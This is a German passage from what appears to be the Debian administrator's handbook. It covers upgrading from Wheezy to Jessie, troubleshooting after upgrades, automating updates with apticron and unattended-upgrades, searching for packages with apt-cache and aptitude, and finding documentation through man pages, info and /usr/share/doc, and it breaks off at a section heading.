Nun zur Aktualisierung selbst: Zuerst müssen Sie die Datei /etc/apt/sources.list anpassen, um APT anzuweisen, die Pakete aus Jessie anstatt aus Wheezy zu verwenden. Wenn die Datei ausschließlich Verweise auf Stable statt auf einen expliziten Codenamen enthält, ist diese Änderung nicht einmal nötig, da Stable immer auf die zuletzt veröffentlichte Version von Debian zeigt. In beiden Fällen muss die Datenbank der verfügbaren Pakete aktualisiert werden (mit dem Befehl apt-get update oder der Schaltfläche "Neu laden" in synaptic).

Wenn diese Paketquellen einmal registriert sind, sollte man zuerst eine minimale Aktualisierung mit apt upgrade durchführen. Wenn man die Aktualisierung in zwei Schritten durchführt, erleichtert man die Arbeit der Paket-Verwaltungswerkzeuge und stellt sicher, dass diese in der aktuellsten Version verwendet werden, die möglicherweise die notwendigen bisher aufgelaufenen Fehlerkorrekturen und Verbesserungen beinhalten, um die komplette Aktualisierung der Distribution durchzuführen.

Sobald dieses erste Upgrade abgeschlossen ist, ist es an der Zeit, das Upgrade selbst durchzuführen, entweder mit apt full-upgrade, aptitude oder synaptic. Sie sollten die vorgeschlagenen Aktionen sorgfältig prüfen, bevor Sie sie anwenden: Sie können vorgeschlagene Pakete hinzufügen oder Pakete abwählen, die nur empfohlen und bekanntermaßen nicht nützlich sind. Auf jeden Fall sollte das Frontend ein Szenario entwickeln, das in einem kohärenten und aktuellen Jessie System endet. Dann müssen Sie nur noch warten, während die benötigten Pakete heruntergeladen werden, die Debconf-Fragen und möglicherweise die Fragen zu lokal modifizierten Konfigurationsdateien beantworten und sich zurücklehnen, während APT seine Magie wirken lässt.

6.6.2. Problembehandlung nach einer Aktualisierung

Trotz der Anstrengungen der Debian-Betreuer verläuft eine größere Systemaktualisierung nicht immer so problemlos, wie man es sich wünschen würde. Neue Softwareversionen könnten inkompatibel zu ihren Vorgängern sein (beispielsweise, weil sich Standardverhaltensweisen oder Datenformate geändert haben). Auch könnten sich Fehler durch die, jeder Debian Veröffentlichung vorangehende, Testphase hindurch gemogelt haben.

Um solche Probleme vorwegzunehmen, können Sie das Paket apt-listchanges installieren, welches Informationen über mögliche Probleme zu Beginn jeder Paketaktualisierung einblendet. Diese Informationen werden von den Paketbetreuern zusammen- und in /usr/share/doc/Paket/NEWS.Debian Dateien zum Nutzen der Anwender bereitgestellt. Das Lesen dieser Dateien (möglicherweise mittels apt-listchanges) sollte helfen, Sie vor bösen Überraschungen zu bewahren.

Manchmal werden Sie feststellen, dass die neue Version einer Software überhaupt nicht funktioniert. Das passiert allgemein bei Applikationen, die nicht besonders populär und deshalb nicht ausgiebig genug getestet sind. Eine Aktualisierung in letzter Minute kann zu Regressionsfehlern führen, die erst nach der Veröffentlichung erkannt werden. In beiden Fällen ist der erste Schritt, einen Blick in die Fehlerdatenbank unter https://bugs.debian.org/Paket zu werfen, um zu prüfen, ob das Problem bereits gemeldet wurde. Falls nicht, sollten Sie es mittels reportbug melden. Falls das Problem bereits bekannt ist, ist der Fehlerbericht in Verbindung mit den verknüpften Meldungen üblicherweise eine exzellente Informationsquelle zu dem Fehler:

- manchmal existiert bereits ein Patch und ist im Fehlerbericht verfügbar. Sie können dann die korrigierte Version des defekten Pakets lokal übersetzen (siehe Abschnitt 15.1, „Ein Paket aus seinen Quellen neu erstellen“);

- in anderen Fällen könnten andere Anwender bereits eine Übergangslösung für das Problem gefunden und ihre Erkenntnisse in den Antworten zum Fehlerbericht geteilt haben;

- und in wieder anderen Fällen könnte der Paketbetreuer bereits ein korrigiertes Paket gebaut und veröffentlicht haben.

Abhängig von der Schwere eines Fehlers, kann eine neue Paketversion speziell für die nächste Ausgabe der Stable Veröffentlichung vorbereitet werden. Sollte dies der Fall sein, wird das korrigierte Paket im Bereich proposed-updates der Debian Spiegelserver bereitgestellt (siehe Abschnitt 6.1.2.3, „Proposed Updates“). Der entsprechende Eintrag kann dann temporär der Datei sources.list hinzugefügt werden. Aktualisierte Pakete können mit apt oder aptitude installiert werden.

Manchmal ist das korrigierte Paket nicht in diesem Bereich verfügbar, weil es noch von den Stable Release Managern geprüft werden muss. Sie können auf deren Webseite prüfen, ob dies der Fall ist. Dort aufgeführte Pakete sind noch nicht verfügbar, aber wenigstens wissen Sie, dass der Veröffentlichungsprozess läuft.

→ https://release.debian.org/proposed-updates/stable.html

6.7. Ein System aktuell halten

Die Debian Veröffentlichung ist dynamisch ständigen Änderungen unterworfen. Die meisten Änderungen werden in den Testing und Unstable Versionen vorgenommen, aber selbst Stable wird ab und an aktualisiert, hauptsächlich handelt es sich dabei um sicherheitsrelevante Korrekturen. Egal, welche Debian-Version auf dem System läuft, es ist immer ratsam sie aktuell zu halten, um von den letzten Enwicklungen und Korrekturen zu profitieren.

Natürlich ist es möglich, regelmäßig ein Programm auszuführen, das nach verfügbaren Aktualisierungen sucht und diese installiert. Allerdings ist eine solch wiederkehrende Aufgabe mühsam, speziell dann, wenn sie auf vielen Maschinen ausgeführt werden muss. Glücklicherweise lassen sich solch lästige Aufgaben teilweise automatisieren, eine Reihe von Werkzeugen dazu wurde bereits entwickelt.

Das erste dieser Werkzeuge ist apticron im Paket gleichen Namens. Seine Hauptaufgabe ist, täglich ein Skript (via cron) auszuführen. Das Skript aktualisiert die Liste der verfügbaren Pakete und schickt, falls ein installiertes Paket nicht in der aktuellsten Version vorliegt, eine E-Mail mit der Liste dieser Pakete zusammen mit den Änderungen in den neuen Versionen. Offenkundig richtet sich dieses Paket an Anwender von Debian Stable, da tägliche E-Mails für die sich häufiger ändernden Versionen von Debian doch sehr lang würden. Sind Aktualisierungen verfügbar, lädt apticron sie automatisch herunter. Es installiert sie nicht – das ist dem Administrator überlassen – aber dass die Pakete bereits heruntergeladen und lokal verfügbar (im Zwischenspeicher von APT) sind, beschleunigt die Aufgabe.

Administratoren, die für viele Computer zuständig sind, werden es ohne Zweifel schätzen, über anstehende Aktualisierungen informiert zu werden, das Durchführen der Aktualisierungen selbst bleibt aber weiterhin mühsam. An dieser Stelle wird das Skript /etc/cron.daily/apt (aus dem apt Paket) interessant. Dieses Skript wird ebenfalls täglich durch cron ausgeführt (nicht-interaktiv). Um sein Verhalten zu bestimmen, verwenden Sie APT Konfigurationsvariablen (gespeichert in einer Datei unter /etc/apt/apt.conf.d/). Die Hauptvariablen sind:

APT::Periodic::Update-Package-Lists

Diese Option erlaubt es Ihnen, die Frequenz (in Tagen) festzulegen mit der die Paketlisten aktualisiert werden. Anwender von apticron benötigen diese Variable nicht, da apticron diese Aufgabe selbst übernimmt.

APT::Periodic::Download-Upgradeable-Packages

Auch diese Option legt die Frequenz (in Tagen) fest, diesmal für das Herunterladen der Pakete. Und wieder benötigen Anwender von apticron sie nicht.

APT::Periodic::AutocleanInterval

Die Option deckt ein Merkmal ab, über das apticron nicht verfügt. Sie bestimmt, wie häufig veraltete Pakete (die von keiner Veröffentlichung mehr referenziert werden) aus dem Zwischenspeicher von APT entfernt werden. Dies hält den Zwischenspeicher von APT auf einer sinnvollen Größe und entlastet Sie davon, sich Gedanken um diese Aufgabe machen zu müssen.

APT::Periodic::Unattended-Upgrade

Wenn diese Option ausgewählt wurde führt das tägliche Script (aus unattended-upgrades) den Befehl unattended-upgrade aus. Wie der Name erwarten lässt, automatisiert sie den Updat-Prozess für einige Pakete. (In der Voreinstellung sind dies die Security-Pakete; kann aber über /etc/apt/apt.conf.d/50unattended-upgrades bestimmt werden. Beachte, dass dies auch über dpkg-reconfigure -plow unattended-upgrades konfiguriert werden kann.

Andere Optionen gestatten es Ihnen, das Aufräumen des Zwischenspeichers gezielter zu steuern. Diese Optionen werden hier nicht aufgeführt, werden aber im Skript /etc/cron.daily/apt beschrieben.

Diese Werkzeuge eignen sich sehr gut für Server, aber Anwender von Arbeitsplatzrechnen bevorzugen üblicherweise ein interaktiveres System. Deshalb installiert die Aufgabe "Debian-Desktop-Umgebung" gnome-packagekit (zumindest wenn Sie GNOME als Desktop-Umgebung wählen). Dieses blendet ein Icon im Benachrichtigungsfeld der Desktop-Umgebung ein sobald Updates verfügbar sind; ein Klick auf das Icon startet gpk-update-viewer, eine vereinfachte Benutzerschnittstelle zur Durchführung von Updates. Sie können die verfügbaren Aktualisierungen durchblättern, die Kurzbeschreibung der interessanten Pakete und die entsprechenden Einträge im changelog lesen und von Fall zu Fall entscheiden, ob der Update durchgeführt werden soll.

Abbildung 6.3. Aktualisieren mit gpk-update-viewer

6.8. Automatische Aktualisierungen

Da Falcot Corp über viele Rechner aber nur über wenig IT-Personal verfügt, versuchen die Administratoren alles so weit wie möglich zu automatisieren. Die für diese Prozesse verantwortlichen Programme müssen deshalb ohne Benutzereingriffe ablaufen.

6.8.1. dpkg konfigurieren

Wie bereits erwähnt (siehe Seitenleiste WEITERE SCHRITTE Die Fragen zur Konfigurationsdatei vermeiden), kann dpkg angewiesen werden, keine Bestätigung vor dem Ersetzen einer Konfigurationsdatei einzuholen (mittels der --force-confdef --force-confold Option). Indes können Interaktionen drei andere Ursachen haben: Einige kommen von APT selbst, andere handhabt debconf und wieder andere kommen von der Befehlszeile ausgelöst durch Paket-Konfigurationsskripte.

6.8.2. APT konfigurieren

Im Falle von APT ist es einfach: die -y Option (oder --assume-yes) weist APT an, "yes" als Antwort auf alle Rückfragen anzunehmen.

6.8.3. debconf konfigurieren

Für debconf Bedarf es mehr Details. Das Programm war von Beginn an ausgelegt, die Relevanz und die Menge der Rückfragen an den Anwender sowie die Art, wie sie ihm präsentiert werden, zu kontrollieren. Aus diesem Grund fordert seine Konfiguration minimale Priorität für Rückfragen, nur Fragen oberhalb der minimalen Priorität werden eingeblendet. Für Rückfragen, die übersprungen werden, nimmt debconf die (vom Paketbetreuer festgelegte) Standardantwort an.

Das andere relevante Konfigurationselement ist die von der Benutzeroberfläche genutzte Schnittstelle. Wenn Sie noninteractive auswählen, wird jede Benutzerinteraktion unterbunden. Versucht ein Paket, eine Information einzublenden, wird diese per E-Mail an den Administrator gesendet.

Um debconf umzukonfigurieren, nutzen Sie das Werkzeug dpkg-reconfigure aus dem Paket debconf; das passende Kommando ist dpkg-reconfigure debconf. Beachten Sie, dass Werte aus der Konfigurationsdatei bei Bedarf mit Umgebungsvariablen temporär übersteuert werden können (beispielsweise steuert DEBIAN_FRONTEND die Schnittstelle, wie auf der debconf(7) Handbuchseite beschrieben).

6.8.4. Interaktiver Umgang mit der Kommandozeile

Die letzte Interaktionsquelle, die am schwersten los zu werdende, sind die von dpkg ausgeführten Konfigurationsskripte. Unglücklicherweise gibt es dafür keine Standardlösung.

Die gebräuchlichste Vorgehensweise ist, den leeren Inhalt von /dev/null mit Befehl </dev/null auf die Standardeingabe umzuleiten oder einen endlosen Strom von Zeilenvorschüben zu zu führen. Keine dieser Methoden ist 100% sicher, aber üblicherweise sorgen sie dafür, dass die Standardantworten gewählt werden, da die meisten Skripte eine ausbleibende Antwort als Anerkennen der Standardantwort interpretieren.

6.8.5. Die Wunderkombination

Indem die vorangegangenen Elemente miteinander kombiniert werden, ist es möglich, ein kleines aber ziemlich zuverlässiges Skript zu entwerfen, das automatische Aktualisierungen durchführt.

Beispiel 6.4. Automatisches Aktualisierungs-Skript

export DEBIAN_FRONTEND=noninteractive
yes '' | apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

IN DER PRAXIS Der Fall Falcot Corp

Die Rechner von Falcot haben vielfältige Aufgaben und bilden ein heterogenes System. Aus diesem Grund wählen die Administratoren die am besten geeignete Lösung für jeden Rechner.

Im Betrieb sind Server, auf denen Jessie läuft, mit der "Wunderkombination" konfiguriert und werden automatisch aktuell gehalten. Nur die kritischsten Server (die Firewalls zum Beispiel) sind mit apticron konfiguriert, so dass Aktualisierungen nur unter Aufsicht der Administratoren durchgeführt werden.

Auf den Arbeitsplatzrechnern in der Verwaltung läuft ebenfalls Jessie, allerdings sind sie mit gnome-packagekit ausgestattet, so dass die Anwender die Aktualisierungen selbst durchführen können. Der Grund dafür ist, dass wenn Aktualisierungen unbemerkt durchgeführt werden, sich das Verhalten des Computers plötzlich und unerwartet ändern kann, was die Anwender verwirren könnte.

Die Rechner, die im Labor unter Testing laufen – um von den neusten Programmversionen zu profitieren – , werden nicht automatisch aktualisiert. Die Administratoren konfigurieren APT, die Aktualisierungen vorzubereiten aber nicht durchzuführen. Wenn sich sich entschließen (manuell) zu aktualsieren, ist der lästige Teil des Paketlisteaktualisierens und Herunterladens der Pakete bereits erledigt und die Administratoren können sich auf das Wesentliche konzentrieren.

6.9. Pakete suchen

Mit der großen und immer weiter wachsenden Menge von Software in Debian entsteht ein Paradoxon: Debian hat normalerweise ein Werkzeug für fast jede Aufgabe, aber es kann sehr schwer sein, es unter der Unzahl anderer Pakete zu finden. Der Mangel an geeigneten Wegen das richtige Werkzeug zu suchen (und zu finden) war lange Zeit ein Problem. Glücklicherweise ist dieses Problem mittlerweile fast vollständig gelöst.

Die einfachst mögliche Suche ist die nach einem exakten Paketnamen. Wenn apt show Paket ein Ergebnis zurückliefert, existiert das Paket. Unglücklicherweise erfordert die, den Paketnamen zu wissen oder zumindest zu erraten, was nicht immer möglich ist.

TIPP Namenskonventionen für Pakete

In einigen Kategorien folgen Paketnamen festgelegten Namensschemen, diese Schemen zu kennen erlaubt es oft, den exakten Paketnamen zu erahnen. Beispielsweise besagt die Namenskonvention für Perl Module, dass ein Modul namens XML::Handler::Composer als libxml-handler-composer-perl paketiert werden sollte. Die Bibliothek, die Python die Nutzung des gconf Systems ermöglicht, ist als python-gconf paketiert. Leider ist es nicht möglich, ein einheitliches Namensschema für alle Pakete festzulegen, obwohl die Paketbetreuer normalerweise der Wahl der vorgelagerten Entwickler folgen.

Eine etwas erfolgreicheres Suchschema ist die Volltextsuche über die Paketnamen, wenn auch immer noch stark beschränkt. Im Allgemeinen lassen sich Resultate durch die Suche in den Paketbeschreibungen erzielen: Da jedes Paket über eine mehr oder weniger detailierte Beschreibung verfügt, wird eine Schlagwortsuche in diesen Beschreibungen oftmals erfolgreich sein. apt-cache und axi-cache sind das Mittel der Wahl für diese Art der Suche; beispielsweise liefert apt-cache search video eine Liste aller Pakete deren Name oder Beschreibung das Schlagwort "video" enthält.

Komplexere Suchen erfordern ein mächtigeres Werkzeug wie aptitude. aptitude erlaubt es Ihnen, nach logischen Ausdrücken, basierend auf den Metadatenfeldern der Pakete zu suchen. Beispielsweise sucht der folgende Befehl nach Paketen, deren Name kino enthält, deren Beschreibung video enthält und deren Betreuernamen paul enthält:

$ aptitude search kino~dvideo~mpaul
p   kino  - Non-linear editor for Digital Video data
$ aptitude show kino
Package: kino
State: not installed
Version: 1.3.4-2.1+b1
Priority: extra
Section: video
Maintainer: Paul Brossier <piem@debian.org>
Architecture: amd64
Uncompressed Size: 8,472 k
Depends: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0 (>=
0.5.3), libavcodec56 (>= 6:11~beta1) | libavcodec-extra-56 (>=
6:11~beta1), libavformat56 (>= 6:11~beta1), libavutil54 (>=
6:11~beta1), libc6 (>= 2.14), libcairo2 (>= 1.2.4), libdv4,
libfontconfig1 (>= 2.11), libfreetype6 (>= 2.2.1), libgcc1 (>=
1:4.1.1), libgdk-pixbuf2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~),
libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>= 2.24.0), libice6 (>=
1:1.0.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0),
libpangocairo-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0),
libquicktime2 (>= 2:1.2.2), libraw1394-11, libsamplerate0 (>= 0.1.7),
libsm6, libstdc++6 (>= 4.9), libswscale3 (>= 6:11~beta1), libx11-6,
libxext6, libxml2 (>= 2.7.4), libxv1, zlib1g (>= 1:1.1.4)
Recommends: ffmpeg, curl
Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora
Conflicts: kino-dvtitler, kino-timfx, kinoplus
Replaces: kino-dvtitler, kino-timfx, kinoplus
Provides: kino-dvtitler, kino-timfx, kinoplus
Description: Non-linear editor for Digital Video data
Kino allows you to record, create, edit, and play movies recorded with DV
camcorders. This program uses many keyboard commands for fast navigating and
editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly
distributed as separate packages, are now provided with Kino.
Homepage: http://www.kinodv.org/

Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++,
interface::x11, role::program, scope::application, suite::gnome,
uitoolkit::gtk, use::editing, use::learning, works-with::video,
x11::application

Die Suche liefert nur ein Ergebnis, kino, auf das alle drei Kriterien zutreffen.

Selbst die Mehrfachkriterien Suchen sind unhandlich, was erklärt, warum sie seltener genutzt werden, als sie eigentlich genutzt werden könnten. Aus diesem Grund wurde ein neues Markierungssystem entwickelt, das einen neuen Suchansatz zur Verfügung stellt. Pakete erhalten Markierungen aus einer thematischen Gliederung über verschiedene Anwendungsbereiche, bekannt als "Facettenklassifikation". Im Falle von kino wie oben, besagen die Markierungen, dass Kino eine Gnome-basierte Software ist, die Videodaten verarbeitet und deren Hauptzweck die Bearbeitung ist.

Das Durchsuchen der Gliederung kann bei der Suche nach dem Paket, das bekannten Anforderungen entspricht, helfen. Selbst wenn sie eine moderate Anzahl an Treffern liefert, kann der Rest der Suche manuell fortgesetzt werden. Dazu können Sie das ~G Suchmuster in aptitude nutzen. Es ist aber wahrscheinlich einfacher, zu der Site zu navigieren, wo die Markierungen verwaltet werden:

→ http://debtags.alioth.debian.org/cloud/

Die Schlagworte works-with::video and use::editing liefern eine handvoll Pakete, unter anderem die Video-Bearbeitungsprogramme kino und pitivi. Dieses Klassifizierungssystem wird immer stärker genutzt werden und die Paket-Verantwortlichen werden nach und nach effiziente Suchen auf dieser Grundlage zur Verfügung stellen.

Zusammenfassend wird das geeignetste Werkzeug für die Aufgabe durch die Komplexität der durchzuführenden Suche bestimmt:

- apt-cache sucht nur in Paketnamen und Beschreibungen, was sehr bequem ist, wenn Sie nach bestimmten Paketen suchen, auf die wenige Schlagworte passen;

- wenn die Suche ebenfalls Beziehungen zwischen Paketen und andere Metadaten wie den Betreuernamen umfasst, wird synaptic nützlicher sein;

- wenn eine Markierungs-basierte Suche nötig ist, ist packagesearch ein gutes Werkzeug: eine grafische Oberfläche zur Suche verfügbarer Pakete neben verschiedenen anderen Kriterien (inklusive der Namen der enthaltenen Dateien). Auf der Kommandozeile erledigt axi-cache diese Aufgabe.

- schlussendlich, wenn die Suche komplexe Ausdrücke mit logischen Operatoren erfordert, wird aptitude mit seiner etwas obskuren aber mächtigen Suchmuster-Syntax das Mittel der Wahl sein; es funktioniert auf der Kommandozeile ebenso wie im interaktiven Modus.

Kapitel 7. Probleme lösen und relevante Informationen finden

Die wichtigste Fähigkeit eines Administrators besteht darin, jede bekannte oder unbekannte Situation meistern zu können. Dieses Kapitel zeigt eine Reihe von Methoden auf, die es Ihnen - hoffentlich - ermöglichen, die Ursache jeden Problems, das Ihnen begegnet, einzugrenzen, sodass Sie es lösen können.

7.1. Dokumentationsquellen

Bevor Sie verstehen können, was tatsächlich vor sich geht, wenn Ihnen ein Problem begegnet, müssen Sie die theoretische Rolle kennen, die jedes an dem Problem beteiligte Programm spielt. Hierbei besteht die beste Reaktion darin, zunächst in ihrer Dokumentation nachzuschlagen; da diese Dokumentation jedoch umfangreich und weit verstreut ist, sollten Sie wissen, wo sie zu finden ist.

7.1.1. Handbuchseiten

KULTUR RTFM

Dieses Akronym steht für „Read the Fucking Manual“ (Lies das verdammte Handbuch), aber es kann auch zu einer freundlicheren Variante erweitert werden: „Read the Fine Manual“ (Lies das gute Handbuch). Dieser Satz wird manchmal in (knappen) Erwiderungen auf Fragen von Neulingen benutzt. Er ist ziemlich schroff und zeigt eine gewisse Verärgerung über eine Frage, die von jemandem gestellt wird, der sich nicht einmal die Mühe gemacht hat, die Dokumentation zu lesen. Manche sagen, diese klassische Erwiderung sei besser als überhaupt keine (weil sie darauf hindeutet, dass die Dokumentation die gesuchte Information enthält), oder besser als eine ausführlichere aber verärgerte Antwort.

In jedem Fall ist es besser, es nicht übel zu nehmen, wenn Ihnen jemand mit „RTFM“ antwortet. Da diese Antwort irritierend sein kann, sollten Sie jedoch versuchen, sie nicht zu bekommen. Falls die Informationen, die Sie benötigen, nicht im Handbuch zu finden sind (was vorkommen kann), sollten Sie dies vorzugsweise in Ihrer ersten Frage erwähnen. Sie sollten auch die verschiedenen Schritte beschreiben, die Sie persönlich auf der Suche nach Informationen bereits unternommen haben, bevor Sie dem Forum die Frage gestellt haben. Am besten Sie befolgen die Empfehlungen von Eric Raymond um die häufigsten Fehler zu vermeiden und eine hilfreiche Antwort zu bekommen.

→ http://catb.org/~esr/faqs/smart-questions.html

Handbuchseiten enthalten in knapper Form sehr viele grundlegende Informationen. Wir wollen kurz auf den Befehl eingehen, mit dem sie aufgerufen werden. Geben Sie einfach man handbuchseite ein - die Handbuchseite heißt normalerweise genauso wie der Befehl, dessen Dokumentation Sie suchen. Um zum Beispiel die möglichen Optionen des Befehls cp herauszufinden, geben Sie an der Eingabeaufforderung man cp ein (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Die Shell, ein Befehlszeileninterpreter).

ZURÜCK ZU DEN GRUNDLAGEN Die Shell, ein Befehlszeileninterpreter

Ein Befehlszeileninterpreter, auch „Shell“ genannt, ist ein Programm, das Befehle ausführt, die entweder vom Benutzer eingegeben werden oder in einem Skript gespeichert sind. Im interaktiven Modus zeigt es eine Eingabeaufforderung an (die für einen normalen Benutzer gewöhnlich mit $ endet und für einen Administrator mit #), die erkennen lässt, dass es bereit ist, einen neuen Befehl entgegenzunehmen. Anhang B, Kurzer Förderkurs beschreibt die Grundlagen der Shell-Verwendung.

Die vorgegebene und am meisten genutzte Shell ist bash (Bourne Again SHell). Es gibt jedoch auch andere wie dash, csh, tcsh undzsh.

Unter anderem bieten die meisten Shells während einer Eingabe an der Eingabeaufforderung Hilfen an, wie die Vervollständigung eines Befehls oder Dateinamens (die Sie normalerweise durch Drücken der Tabulatortaste auslösen) oder das erneute Aufrufen vorheriger Befehle (Verlaufsmanagement).

Handbuchseiten dokumentieren nicht nur Programme, die über die Befehlszeile erreichbar sind, sondern auch Konfigurationsdateien, Systemaufrufe, C-Bibliotheksfunktionen und so weiter. Manchmal kann es dabei zu Namenskollisionen kommen. Zum Beispiel hat der Shellbefehl read denselben Namen wie der Systemaufruf read. Daher sind Handbuchseiten in nummerierte Abschnitte gegliedert:

1. Befehle, die von der Befehlszeile aus ausgeführt werden können;

2. Systemaufrufe (vom Kernel bereitgestellte Funktionen);

3. Bibliotheksfunktionen (von Systembibliotheken bereitgestellt);

4. Geräte (bei Unix-ähnlichen Systemen sind dies besondere Dateien, die sich normalerweise im Verzeichnis /dev/ befinden);

5. Konfigurationsdateien (Formate und Konventionen);

6. Spiele;

7. Zusammenstellungen von Makros und Standards;

8. Systemverwaltungsbefehle;

9. Kernelroutinen.

Man kann den Abschnitt der Handbuchseite, nach dem man sucht, angeben: um die Dokumentation des Systemaufrufs read nachzuschlagen, geben Sie man 2 read ein. Wenn kein Abschnitt ausdrücklich angegeben wird, wird der erste Abschnitt, der eine Handbuchseite mit dem gesuchten Namen hat, angezeigt. So liefert man shadow die Ausgabe shadow(5), da es in den Abschnitten 1 bis 4 keine Handbuchseiten für shadow gibt.

HINWEIS whatis

Wenn Sie sich nicht die vollständige Handbuchseite durchlesen möchten, sondern nur eine kurze Beschreibung, um sicher zu sein, dass es das ist, wonach Sie suchen, geben Sie einfach whatis befehl ein.

$ whatis scp
scp (1)     - secure copy (remote file copy program)

Diese kurze Beschreibung ist auch im Abschnitt NAME am Anfang jeder Handbuchseite enthalten.

Falls Sie die Namen der Befehle nicht kennen, ist das Handbuch für Sie natürlich nicht sehr nützlich. Hierfür gibt es den Befehl apropos, der Ihnen hilft, die Handbuchseiten, oder genauer gesagt, ihre Kurzbeschreibungen zu durchsuchen. Jede Handbuchseite beginnt grundsätzlich mit einer einzeiligen Zusammenfassung. Der Befehl apropos zeigt eine Liste derjenigen Handbuchseiten an, in deren Zusammenfassung die gesuchten Stichwörter enthalten sind. Wenn Sie sie gut auswählen, werden Sie den Namen des benötigten Befehls finden.

Beispiel 7.1. Den Befehl cp mit apropos finden

$ apropos "copy file"
cp (1)               - copy files and directories
cpio (1)             - copy files to and from archives
gvfs-copy (1)        - Copy files
gvfs-move (1)        - Copy files
hcopy (1)            - copy files from or to an HFS volume
install (1)          - copy files and set attributes
ntfscp (8)           - copy file to an NTFS volume.

HINWEIS

Viele Handbuchseiten haben, gewöhnlich am Ende, einen „Siehe auch“-Abschnitt. Er verweist auf andere Handbuchseiten, die zu ähnlichen Befehlen gehören, oder auf externe Dokumentationen. Auf diese Weise ist es möglich, sachdienliche Auskünfte zu finden, selbst wenn die erste Auswahl nicht optimal war.

Der Befehl man ist nicht das einzige Mittel, um Handbuchseiten nachzuschlagen, da die Programme konqueror (in KDE) und yelp (unter GNOME) diese Möglichkeit ebenfalls bieten. Es gibt auch eine Web-Schnittstelle, die vom Paket man2html bereitgestellt wird und es ermöglicht, Handbuchseiten in einem Webbrowser anzusehen. Auf einem Rechner, auf dem dieses Paket installiert ist, ist hierzu folgende URL zu benutzen:

→ http://localhost/cgi-bin/man/man2html

Dieses Hilfsprogramm benötigt einen Webserver. Deshalb sollten Sie dieses Paket auf einem Ihrer Server installieren: Alle Nutzer des lokalen Netzwerks können so von diesem Dienst profitieren (auch Nicht-Linux-Rechner), und Sie ersparen es sich, auf jedem Arbeitsplatzrechner einen HTTP-Server einzurichten. Wenn Ihr Server auch von anderen Netzwerken aus erreichbar ist, sollten Sie den Zugriff auf diesen Dienst besser auf die Nutzer des lokalen Netzwerks beschränken.

DEBIAN-RICHTLINIEN Vorgeschriebene Handbuchseiten

Debian verlangt, dass jedes Programm eine Handbuchseite hat. Wenn der Autor eines Programms keine bereitstellt, wird der Debian-Paketbetreuer normalerweise eine kurze Seite verfassen, die den Leser zumindest auf den Ort der Originaldokumentation verweist.

7.1.2. info-Dokumente

Das GNU-Projekt hat für die meisten seiner Programme Handbücher im info-Format geschrieben. Deshalb beziehen sich viele Handbuchseiten auf die entsprechende info-Dokumentation. Dieses Format bietet einige Vorteile, jedoch ist das Standardprogramm zur Betrachtung dieser Dokumente (es heißt info) etwas komplizierter. Sie sollten stattdessen pinfo verwenden (aus dem Paket pinfo).

Die Dokumentation info hat eine hierarchische Struktur, und wenn Sie pinfo ohne Parameter aufrufen, wird eine Liste der auf der ersten Ebene verfügbaren Knoten angezeigt. Normalerweise tragen Knoten den Namen der entsprechenden Befehle.

Mit pinfo ist die Navigation zwischen diesen Knoten mit den Pfeiltasten einfach. Alternativ können Sie auch einen grafischen Browser verwenden, was wesentlich benutzerfreundlicher ist. Auch hier gilt: konqueror und yelp funktionieren; info2wwww bietet auch ein Web-Interface.

→ http://localhost/cgi-bin/info2www

Beachten Sie, dass das info-System nicht für die Übersetzung geeignet ist, im Gegensatz zum manpage-System. info-Dokumente sind daher fast immer in Englisch. Wenn Sie jedoch das Programm pinfo beauftragen, eine nicht existierende info Seite anzuzeigen, wird es (falls vorhanden) auf die man-Seite mit dem gleichen Namen zurückgreifen, die übersetzt sein könnte.

7.1.3. Konkrete Dokumentation

Jedes Paket verfügt über seine eigene Dokumentation. Sogar die am geringsten dokumentierten Programme haben wenigstens eine README-Datei, die einige interessante und wichtige Informationen enthält. Diese Dokumentation ist im Verzeichnis /usr/share/doc/paket/ installiert (wobei paket dem Namen des Pakets entspricht). Falls die Dokumentation außergewöhnlich groß ist, muss sie nicht unbedingt im Hauptpaket eines Programms enthalten sein, sondern kann in ein speziell hierfür vorgesehenes Paket ausgelagert sein, das dann üblicherweise paket-doc heißt. Das Hauptprogramm empfiehlt im Allgemeinen die Installation des Dokumentationspakets, so dass Sie es leicht finden können.

Das Verzeichnis /usr/share/doc/paket/ enthält auch einige von Debian bereitgestellte Dateien, die die Dokumentation vervollständigen, indem sie die Besonderheiten des Pakets genauer beschreiben oder seine Verbesserungen im Vergleich zu einer herkömmlichen Installation der Software. Die Datei README.Debian weist auf alle Anpassungen hin, die vorgenommen wurden, um den Debian-Richtlinien zu entsprechen. Die Datei changelog.Debian.gz gibt dem Anwender die Möglichkeit, die Veränderungen nachzuvollziehen, die an einem bestimmten Paket im Laufe der Zeit vorgenommen wurden: es ist sehr hilfreich, die Veränderungen zwischen zwei installierten Versionen, die sich nicht gleich verhalten, zu verstehen. Schließlich gibt es manchmal auch eine Datei namens NEWS.Debian.gz, die die wesentlichen für einen Administrator wichtigen Änderungen eines Programms erläutert.

7.1.4. Webseiten

In den meisten Fällen gibt es zu freien Software-Programmen Webseiten, die zu ihrer Veröffentlichung dienen und dazu, die Gemeinschaft ihrer Entwickler und Anwender zusammenzubringen. Diese Seiten sind häufig voll einschlägiger Informationen in verschiedener Form: offizieller Dokumentation, FAQ (häufig gestellte Fragen), Mailinglisten-Archiven usw. Probleme, die Sie haben könnten, sind häufig schon Gegenstand zahlreicher Fragen gewesen; die FAQ oder die Mailinglisten-Archive können dafür eine Lösung parat halten. Die gute Beherrschung von Suchmaschinen ist für das schnelle Auffinden relevanter Seiten äußerst nützlich (durch Einschränkung der Suche auf die Internet-Domain oder Sub-Domain, die dem Programm gewidmet ist). Falls die Suche zu viele Seiten ergibt, oder falls die Ergebnisse nicht dem entsprechen, was Sie suchen, können Sie das Stichwort debian hinzufügen, um so die Ergebnisse einzuschränken und genauer auf relevante Informationen abzuzielen.

HINWEISE Vom Fehler zur Lösung

